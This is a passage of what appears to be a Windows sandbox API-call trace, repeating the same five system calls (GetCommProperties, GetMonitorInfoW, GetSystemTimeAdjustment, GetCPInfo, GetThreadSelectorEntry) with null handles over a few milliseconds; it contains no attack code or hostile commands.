lpCommProp=0x18fdf8) returned 0 [0041.530] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.530] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.530] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.530] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.530] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.530] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.530] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.530] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.530] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.530] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.531] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.531] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.531] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.531] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.531] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.531] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.531] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.531] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.531] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.531] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.531] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.531] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.531] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.531] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.531] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.531] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.531] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.531] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.531] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.531] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.531] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.531] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.531] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.531] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.531] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.532] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.532] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.532] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.532] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.532] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.532] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.532] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.532] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.532] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.532] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.532] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.532] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.532] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.532] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.532] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.532] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.532] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.532] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.532] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.532] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.532] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.532] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.532] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.532] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.532] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.533] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.533] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.533] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.533] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.533] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.533] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.533] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.533] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.533] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.533] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.533] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.533] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.533] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.533] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.533] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.533] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.533] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.533] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.533] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.533] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.533] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.533] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.533] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.533] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.533] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.534] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.534] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.534] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.534] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.534] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.534] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.534] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.534] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.534] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.534] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.534] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.534] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.534] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.534] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.534] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.534] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.534] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.534] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.534] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.534] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.534] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.534] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.534] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.534] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.535] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.535] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.535] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.535] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.535] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.535] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.535] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.535] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.535] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.535] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.535] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.535] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.535] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.535] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.535] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.535] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.535] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.535] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.535] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.535] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.535] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.535] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.535] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.535] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.536] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.536] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.536] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.536] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.536] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.536] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.536] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.536] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.536] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.536] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.536] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.536] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.536] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.536] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.536] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.536] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.536] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.536] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.536] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.536] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.536] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.536] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.536] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.536] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.536] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.537] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.537] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.537] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.537] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.537] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.537] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.537] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.537] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.537] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.537] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.537] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.537] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.537] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.537] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.537] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.537] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.537] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.537] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.537] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0041.537] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0041.537] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0041.537] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0041.537] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0041.537] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, 